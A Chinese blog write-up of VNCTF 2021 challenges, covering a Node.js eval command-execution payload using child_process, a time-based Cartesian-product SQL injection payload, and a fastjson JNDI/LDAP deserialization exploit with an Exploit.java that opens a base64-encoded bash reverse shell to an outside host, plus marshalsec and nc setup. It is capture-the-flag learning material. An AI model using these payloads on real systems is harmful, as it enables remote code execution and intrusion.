vnctf 2021

发布于 2021-03-14  9 次阅读


ez-game   

点开后看到是js调用游戏,就直接去game.js看js源码,全都看了一遍之后,没有看到直接标明flag的。仔细看中间有一段加密在16进制解码后,看到filter字样,就可以猜到这下面一整段js代码是被加密在里面了,而sojson.v4就标在了旁边,搜一下解码方式https://www.yyob.com/318.html,按照其所说,把['sojson.v4']壳去了,在控制台下解码就可以清楚看到flag了

native

app.use("/source", (req, res) => {
  let p = req.query.path || file;
  p = path.resolve(path.dirname(file), p);//这里有任意文件读取
  if (p.includes("flag")) {
    res.send("no flag!");
  } else {
    res.sendFile(p);

package.json(定义项目所需要的各种模块,项目配置信息,在根目录下)

https://javascript.ruanyifeng.com/nodejs/packagejson.html#toc1

package.json详细解释,下面只把几个这里见到的列举一下

{
  "name": "name",
  "version": "0.1.1",
  "description": "Description",
  "private": true,
  "main": "src/index.js",
  "type": "module",
  "scripts": {	//scripts🈯️运行脚本命令npm命令行缩写
    "start": "node src/index.js",	//npm run start所执行命令
    "build:native": "node-gyp rebuild",
    "build:native:dev": "node-gyp rebuild --debug"
  },
  "dependencies": {	//指定项目运行所依赖的模块
    "bindings": "^1.5.0",//模块名:版本 ^表示不大于大版本号
    "express": "^4.17.1",
    "expression-eval": "^4.0.0",
    "node-addon-api": "^3.0.2",
    "seval": "^2.0.1"
  },
  "devDependencies": {//指定项目开发所需要的模块
    "@types/express": "^4.17.8",
    "@types/node": "^14.10.1",
    "node-gyp": "^7.1.2",	//本题需要利用的插件
    "prettier": "^2.0.5"
  }
}

这里附跟随wp找到的官方文档

至于N-API

N-API 是用于构建本机插件的API。 它独立于底层 JavaScript 运行时(例如 V8),并作为 Node.js 本身的一部分进行维护。 此 API 将是跨 Node.js 版本的应用程序二进制接口(Application Binary Interface,ABI)稳定版。 它旨在将插件与底层 JavaScript 引擎中的更改隔离开来,并允许为一个版本编译的模块在更高版本的 Node.js 上运行而无需重新编译。 插件使用本文档中概述的相同方法/工具(node-gyp 等)构建/打包。 唯一的区别是原始代码使用的 API 集。 不使用 V8 或 Node.js 的原生抽象,而是使用 N-API 中可用的功能。

好了,到此为止,下面都是re看不懂了,抄一下别人的wp

拿到一个elf文件,web狗看不懂,丢给会逆向的同学拿到了密钥yoshino-s_want_a_gf,qq1735439536

​接下来根据官方的wp,要去构造eval的命令执行

{
   "type": "module"
}

这里的module是把javascript的导入模块改为ES6

“ES6 模块和 CommonJS 模块有很大的差异。“

“语法上面,CommonJS 模块使用require()加载和module.exports输出,ES6 模块使用import和export。”

所以require方法就不能用

try {
    if (addon.verify(code)) {	//这里要输入逆向得到的密钥
      res.send(String(eval_(parse(e))));		//这里命令执行
    } else {
      res.send("wrong?");
    }
  } catch (e) {
    console.log(e)
    res.send("wrong?");
  }

(1).constructor.constructor("return import('child_process').then((module)=>{module.execSync(\"cat ../flag>> ./static/4.js\");})")();

(1):应该是对象,可以用ture代替,亲测有效,原因https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/constructor

constructor:提供获取构造方法信息,生成实例

child_process模块是nodejs的子进程模块,并能执行shell命令

这里附上调用execSync方法的官方连接http://nodejs.cn/api/child_process.html#child_process_child_process_execsync_command_options

语句语法构造原理(动态加载模块):

https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Guide/Modules

misc

下载文件后就有fft的提示,再搜一下图片隐写,本来是需要原图进行傅立叶变换来得到盲水印,但是这里只有一张图,所以就对这张图进行傅立叶变换,用matlab

img=imread('Desktop/FFT.png');
subplot(2,2,1);imshow(img);title('原图');
f=im2double(img);    %对于RGB图像必须做的一步,也可以用im2double函数
F=fft2(f);          %傅里叶变换
F1=log(abs(F)+1);   %取模并进行缩放
subplot(2,2,2);imshow(F1,[]);title('傅里叶变换频谱图');
Fs=fftshift(F);      %将频谱图中零频率成分移动至频谱图中心
S=log(abs(Fs)+1);    %取模并进行缩放
subplot(2,2,3);imshow(S,[]);title('频移后的频谱图');

realezjvav

先把笛卡尔积理解一下

https://baike.baidu.com/item/笛卡尔乘积/6323173?fromtitle=笛卡尔积&fromid=1434391&fr=aladdin

看一下最前面的定义就好了

http://www.360doc.com/content/14/1229/21/7635_436727229.shtml

再去理解一下sql中的笛卡尔积实现,看到内连接外连接应该就好了,毕竟只要了解一下。

然后,附上笛卡尔积注入脚本,其原理是如果if中盲注条件(截取字符)成立,则执行后面的笛卡尔积语句,导致响应时间很长

#payload = '''yyy' or (if((ascii(substr((SELECT group_concat(table_name)FROM information_schema.tables WHERE table_schema=database()),{0},1))={1}),(SELECT count(*) FROM information_schema.tables A,information_schema.cloums B,information_schema.columns C),1))#'''.format(i,j).replace(' ','/**/')

中间的黄色部分是可以自己修改的,根据成功或者失败时间差值大小来更改3个表或更多,来让自己塞选出需要。

脚本不放了,直接copy的,很容易跑出来,就是注意要附上/user/login的跳转

no_0ne_kn0w_th1s

//好了,去学java了

再更新!

在html源码中发现图片的链接

截屏2021-03-25 下午12.28.40.png

这里就可以找到图片的目录,并且发现目录读取 

searchimage?img=../../../../../pom.xml

在创建角色时抓包,可以知道时json方法。

先学习一点spring框架基础知识

Spring 是另一个主流的 Java Web 开发框架Spring目录介绍:docs:包含 Spring 的 API 文档和开发规范 libs:包含开发需要的 JAR 包和源码包 schema:包含开发所需要的 schema 文件,在这些文件中定义了 Spring 相关配置文件的约束IoC 是指在程序开发中,实例的创建不再由调用者管理,而是由 Spring 容器创建。Spring 容器会负责控制程序之间的关系,而不是由程序代码直接控制,因此,控制权由程序代码转移到了 Spring 容器中,控制权发生了反转,这就是 Spring 的 IoC 思想 创建 BeanFactory 实例时,需要提供 Spring 所管理容器的详细配置信息,这些信息通常采用 XML 文件形式管理。 BeanFactory 和 ApplicationContext 都是通过 XML 配置文件加载 Bean 的。

//searchimage?img=../../../../../pom.xml

下面的文件结构(手绘)解释一下为什么要用5个上级目录

文件结构
//开头数字为级数
1.src;
2.----main;
3.------resources; 
4.---------resourses;
5.---------static;//    保存静态文件(js css image)
5.---------templates;//保存模版页面
5.---------application.properties;//SpringBoot的应用配置文件
1.pom.xml;

pom.xml的内容:

该文件用于管理:源代码、配置文件、开发者的信息和角色、问题追踪系统、组织信息、项目授权、项目的url、项目的依赖关系等等。

抓包看pom.xml

        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>  //fastjson漏洞
            <version>1.2.27</version>               //满足< 1.2.68 版本要求
        </dependency>

因为漏洞中利用到了"RMI/LDAP"两个协议,补充一下知识:

JNDI:

java提供的java命名和目录接口。通过调用JNDI的API应用程序可以定位资源和其他程序对象

JNDI默认支持自动转换的协议有LDAP协议P协LDAPO议RMI:Remote Method Invocation,远程方法调用

详情调用如下:

https://blog.csdn.net/guyuealian/article/details/51992182

LDAP:

一种通讯协议,支持TCP/IP ,有client端和server端

先放出payload:

在登陆后,创建角色/create(抓包)这是bp抓包改post roleJson的内容,需要用unicode编码绕过一下

//尚未unicode的post内容:
roleJson={"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://159.72.75.126:1234/Exploit","autoCommit":true}}}

//unicode后的post内容:
roleJson={"name":{"\u0040\u0074\u0079\u0070\u0065":"java.lang.Class","val":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c"},"x":{"\u0040\u0074\u0079\u0070\u0065":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c","dataSourceName":"ldap://159.72.75.126:1234/Exploit","\u0061\u0075\u0074\u006f\u0043\u006f\u006d\u006d\u0069\u0074":true}}}

准备exp

构建一个Exploit.java

public class Exploit {    
    public Exploit() {        
        try {          
            Runtime.getRuntime().exec(                    
                "bash -c
{echo,YmFzaCAtaSA+Ji9kZXYvdGNwL3h4Lnh4Lnh4Lnh4L3BvcnQyIDA+JjEK}|{base64,-d}|{bash,-i}");
                } catch (Exception e) {
                    e.printStackTrace();        
                }    
    }
    public static void main(String[] argv) {
        Exploit e = new Exploit();
    }
}
       
//中间base64加密的地方解密后是:
bash -i >&/dev/tcp/xx.xx.xx.xx/port2 0>&1

xx.xx.xx.xx对应你的vps的ip
port2(我用的1300)是你的vps用来反弹shell的端口,比如,我开的是1300

javac Exploit.java  //得到Exploit.class文件

vps部署ldap

//在exp的同目录下准备好marshalsec-0.0.3-SNAPSHOT-all.jar,这玩意在github上
//https://github.com/CaijiOrz/fastjson-1.2.47-RCE

cd marshalsec-master
//进入marshalsec目录
mvn clean package -DskipTests
//输入后等待下载部署完毕,还是要等好一会的
//然后回到上级exp目录
python3 -m http.server 1238 //这个web服务是一定要开的,端口可任意改,注意要在vps管理端口的地方把它打开。

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://159.75.72.126:1238/#Exploit" 1234
//在上面这一步卡了很久,因为IP:1238这个地方一定要写刚用py开的web端口号,后面的1234端口是ldap的端口,需要和post的payload里面的ip端口对应

nc -lvp 1300 //反弹shell的常规操作
//如果出现-lvp报错需要参数的问题,更新或重新下载就好了

//然后发送post就好了

app@xxxxx:~$cat /flag*

以上是简单的操作步骤,原理正在学习(


间桐桜のお菓子屋さん